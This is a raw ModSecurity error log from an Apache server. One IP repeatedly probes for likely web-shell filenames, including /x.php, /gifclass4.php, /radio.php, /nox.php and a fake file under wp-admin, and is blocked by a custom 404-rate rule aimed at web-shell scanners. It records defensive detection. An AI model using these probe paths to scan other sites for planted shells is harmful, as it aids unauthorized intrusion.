[Mon Mar 02 12:14:05.591375 2026] [:error] [pid 14466:tid 14479] [client 20.104.124.39:24979] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aaUOjf8w-ahEIiUSqM5UDwAAAcs"]
[Mon Mar 02 12:14:06.818703 2026] [:error] [pid 28908:tid 28931] [client 20.104.124.39:25255] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aaUOjoqJmC8ih_lQQnBjbAAAANU"]
[Mon Mar 02 12:14:07.370064 2026] [:error] [pid 14466:tid 14487] [client 20.104.124.39:24961] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ar.php"] [unique_id "aaUOj_8w-ahEIiUSqM5UEgAAAdM"]
[Mon Mar 02 12:14:08.433593 2026] [:error] [pid 14466:tid 14483] [client 20.104.124.39:25268] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aaUOkP8w-ahEIiUSqM5UGgAAAc8"]
[Mon Mar 02 12:14:09.208670 2026] [:error] [pid 28908:tid 28917] [client 20.104.124.39:24689] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aaUOkYqJmC8ih_lQQnBjiAAAAMc"]
[Mon Mar 02 12:14:09.989831 2026] [:error] [pid 28908:tid 28915] [client 20.104.124.39:24967] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aaUOkYqJmC8ih_lQQnBjmgAAAMU"]
[Mon Mar 02 12:14:10.789540 2026] [:error] [pid 31257:tid 31276] [client 20.104.124.39:24990] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x.php"] [unique_id "aaUOkv-JFLfishX45N9qEwAAAQ0"]
[Mon Mar 02 12:14:11.764538 2026] [:error] [pid 28793:tid 28820] [client 20.104.124.39:25068] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aaUOkw2_fxBANaHo1f5hHgAAAA0"]
[Mon Mar 02 12:14:12.739270 2026] [:error] [pid 28908:tid 28914] [client 20.104.124.39:24984] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aaUOlIqJmC8ih_lQQnBjtAAAAMQ"]
[Mon Mar 02 12:14:13.611067 2026] [:error] [pid 28908:tid 28910] [client 20.104.124.39:25239] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aaUOlYqJmC8ih_lQQnBjvAAAAMA"]
[Mon Mar 02 12:14:14.315684 2026] [:error] [pid 28793:tid 28810] [client 20.104.124.39:25273] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aaUOlg2_fxBANaHo1f5hJQAAAAM"]
[Mon Mar 02 12:14:15.776744 2026] [:error] [pid 28795:tid 28876] [client 20.104.124.39:24743] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aaUOl7ROd53wZBkdI_e_ggAAAI0"]
[Mon Mar 02 12:14:17.013348 2026] [:error] [pid 28794:tid 28857] [client 20.104.124.39:25049] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aaUOmaVy2qpaelbUob2DAgAAAFU"]
[Mon Mar 02 12:14:18.512741 2026] [:error] [pid 28795:tid 28868] [client 20.104.124.39:25037] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aaUOmrROd53wZBkdI_e_jQAAAIU"]
[Mon Mar 02 12:14:20.854089 2026] [:error] [pid 31257:tid 31266] [client 20.104.124.39:25265] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass4.php"] [unique_id "aaUOnP-JFLfishX45N9qKAAAAQM"]
[Mon Mar 02 12:14:22.424836 2026] [:error] [pid 28908:tid 28930] [client 20.104.124.39:25040] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2clas.php"] [unique_id "aaUOnoqJmC8ih_lQQnBj6wAAANQ"]
[Mon Mar 02 12:14:23.072968 2026] [:error] [pid 23872:tid 23891] [client 20.104.124.39:25027] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2clas.php"] [unique_id "aaUOn0zkQFuA2qBk8UMOcQAAAZA"]
[Mon Mar 02 12:14:23.687973 2026] [:error] [pid 28795:tid 28873] [client 20.104.124.39:25056] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2clas.php"] [unique_id "aaUOn7ROd53wZBkdI_e_nwAAAIo"]
[Mon Mar 02 12:14:24.419189 2026] [:error] [pid 14466:tid 14472] [client 20.104.124.39:25011] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2clas.php"] [unique_id "aaUOoP8w-ahEIiUSqM5UMAAAAcQ"]
[Mon Mar 02 12:14:25.097959 2026] [:error] [pid 23872:tid 23894] [client 20.104.124.39:24648] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ave.php"] [unique_id "aaUOoUzkQFuA2qBk8UMOdwAAAZM"]
[Mon Mar 02 12:14:26.305708 2026] [:error] [pid 21575:tid 21594] [client 20.104.124.39:24662] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ave.php"] [unique_id "aaUOoirocdArcJqFfIkcswAAAU8"]
[Mon Mar 02 12:14:28.738433 2026] [:error] [pid 28793:tid 28807] [client 20.104.124.39:25032] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ave.php"] [unique_id "aaUOpA2_fxBANaHo1f5hPgAAAAA"]
[Mon Mar 02 12:14:30.037859 2026] [:error] [pid 28795:tid 28874] [client 20.104.124.39:25061] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ave.php"] [unique_id "aaUOprROd53wZBkdI_e_tAAAAIs"]
[Mon Mar 02 12:14:32.231331 2026] [:error] [pid 28908:tid 28910] [client 20.104.124.39:24672] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wrt.php"] [unique_id "aaUOqIqJmC8ih_lQQnBkCgAAAMA"]
[Mon Mar 02 12:14:32.847617 2026] [:error] [pid 21575:tid 21597] [client 20.104.124.39:25073] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wrt.php"] [unique_id "aaUOqCrocdArcJqFfIkcygAAAVI"]
[Mon Mar 02 12:14:33.715227 2026] [:error] [pid 23872:tid 23891] [client 20.104.124.39:24652] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wrt.php"] [unique_id "aaUOqUzkQFuA2qBk8UMOjQAAAZA"]
[Mon Mar 02 12:14:34.405155 2026] [:error] [pid 31257:tid 31277] [client 20.104.124.39:25074] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wrt.php"] [unique_id "aaUOqv-JFLfishX45N9qPQAAAQ4"]
[Mon Mar 02 12:14:35.226928 2026] [:error] [pid 28908:tid 28933] [client 20.104.124.39:25034] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bibil.php"] [unique_id "aaUOq4qJmC8ih_lQQnBkKwAAANc"]
[Mon Mar 02 12:14:36.104885 2026] [:error] [pid 21575:tid 21583] [client 20.104.124.39:24736] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bibil.php"] [unique_id "aaUOrCrocdArcJqFfIkc0wAAAUQ"]
[Mon Mar 02 12:14:36.634051 2026] [:error] [pid 21575:tid 21599] [client 20.104.124.39:25178] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bibil.php"] [unique_id "aaUOrCrocdArcJqFfIkc3AAAAVQ"]
[Mon Mar 02 12:14:37.227967 2026] [:error] [pid 14466:tid 14489] [client 20.104.124.39:25047] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bibil.php"] [unique_id "aaUOrf8w-ahEIiUSqM5USAAAAdU"]
[Mon Mar 02 12:14:37.718622 2026] [:error] [pid 23872:tid 23889] [client 20.104.124.39:24762] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aaUOrUzkQFuA2qBk8UMOlQAAAY4"]
[Mon Mar 02 12:14:38.468359 2026] [:error] [pid 28908:tid 28919] [client 20.104.124.39:24992] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aaUOroqJmC8ih_lQQnBkQQAAAMk"]
[Mon Mar 02 12:14:39.501623 2026] [:error] [pid 28908:tid 28926] [client 20.104.124.39:25049] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aaUOr4qJmC8ih_lQQnBkSgAAANA"]
[Mon Mar 02 12:14:40.084408 2026] [:error] [pid 28908:tid 28916] [client 20.104.124.39:25005] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/radio.php"] [unique_id "aaUOsIqJmC8ih_lQQnBkUQAAAMY"]
[Mon Mar 02 12:14:40.788679 2026] [:error] [pid 23872:tid 23878] [client 20.104.124.39:24686] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files.php"] [unique_id "aaUOsEzkQFuA2qBk8UMOmgAAAYM"]
[Mon Mar 02 12:14:41.249448 2026] [:error] [pid 28795:tid 28870] [client 20.104.124.39:25020] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files.php"] [unique_id "aaUOsbROd53wZBkdI_e_zwAAAIc"]
[Mon Mar 02 12:14:41.874547 2026] [:error] [pid 21575:tid 21580] [client 20.104.124.39:24676] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files.php"] [unique_id "aaUOsSrocdArcJqFfIkdDgAAAUE"]
[Mon Mar 02 12:14:42.412700 2026] [:error] [pid 31257:tid 31285] [client 20.104.124.39:24999] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files.php"] [unique_id "aaUOsv-JFLfishX45N9qSAAAARY"]
[Mon Mar 02 12:14:43.512867 2026] [:error] [pid 23872:tid 23876] [client 20.104.124.39:25009] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aaUOs0zkQFuA2qBk8UMOpQAAAYE"]
[Mon Mar 02 12:14:44.461834 2026] [:error] [pid 23872:tid 23885] [client 20.104.124.39:24725] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aaUOtEzkQFuA2qBk8UMOrQAAAYo"]
[Mon Mar 02 12:14:45.588814 2026] [:error] [pid 28908:tid 28920] [client 20.104.124.39:25170] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aaUOtYqJmC8ih_lQQnBkcQAAAMo"]
[Mon Mar 02 12:14:46.569076 2026] [:error] [pid 31257:tid 31269] [client 20.104.124.39:24758] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file7.php"] [unique_id "aaUOtv-JFLfishX45N9qUAAAAQY"]
[Mon Mar 02 12:14:47.273930 2026] [:error] [pid 28794:tid 28855] [client 20.104.124.39:24706] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aaUOt6Vy2qpaelbUob2DFAAAAFM"]
[Mon Mar 02 12:14:47.966888 2026] [:error] [pid 23872:tid 23877] [client 20.104.124.39:24994] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aaUOt0zkQFuA2qBk8UMOugAAAYI"]
[Mon Mar 02 12:14:48.638844 2026] [:error] [pid 28795:tid 28867] [client 20.104.124.39:25026] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aaUOuLROd53wZBkdI_e_2QAAAIQ"]
[Mon Mar 02 12:14:49.346772 2026] [:error] [pid 28908:tid 28916] [client 20.104.124.39:24968] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aaUOuYqJmC8ih_lQQnBkjQAAAMY"]
[Mon Mar 02 12:14:49.773253 2026] [:error] [pid 28908:tid 28919] [client 20.104.124.39:24692] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaUOuYqJmC8ih_lQQnBkkwAAAMk"]
[Mon Mar 02 12:14:50.420312 2026] [:error] [pid 28908:tid 28924] [client 20.104.124.39:25246] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaUOuoqJmC8ih_lQQnBkmAAAAM4"]
[Mon Mar 02 12:14:51.620331 2026] [:error] [pid 28908:tid 28931] [client 20.104.124.39:24975] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaUOu4qJmC8ih_lQQnBkqwAAANU"]
[Mon Mar 02 12:14:52.207284 2026] [:error] [pid 31257:tid 31265] [client 20.104.124.39:25197] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/midnight/about.php"] [unique_id "aaUOvP-JFLfishX45N9qWgAAAQI"]
[Mon Mar 02 12:14:53.052890 2026] [:error] [pid 23872:tid 23885] [client 20.104.124.39:24755] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "aaUOvUzkQFuA2qBk8UMOwgAAAYo"]
[Mon Mar 02 12:14:53.679720 2026] [:error] [pid 14466:tid 14474] [client 20.104.124.39:25063] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "aaUOvf8w-ahEIiUSqM5UYQAAAcY"]
[Mon Mar 02 12:14:54.348338 2026] [:error] [pid 21575:tid 21589] [client 20.104.124.39:24964] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "aaUOvirocdArcJqFfIkdLwAAAUo"]
[Mon Mar 02 12:14:56.166980 2026] [:error] [pid 23872:tid 23882] [client 20.104.124.39:24767] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nox.php"] [unique_id "aaUOwEzkQFuA2qBk8UMOzgAAAYc"]
[Mon Mar 02 12:14:57.469359 2026] [:error] [pid 31257:tid 31264] [client 20.104.124.39:25202] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aaUOwf-JFLfishX45N9qZAAAAQE"]
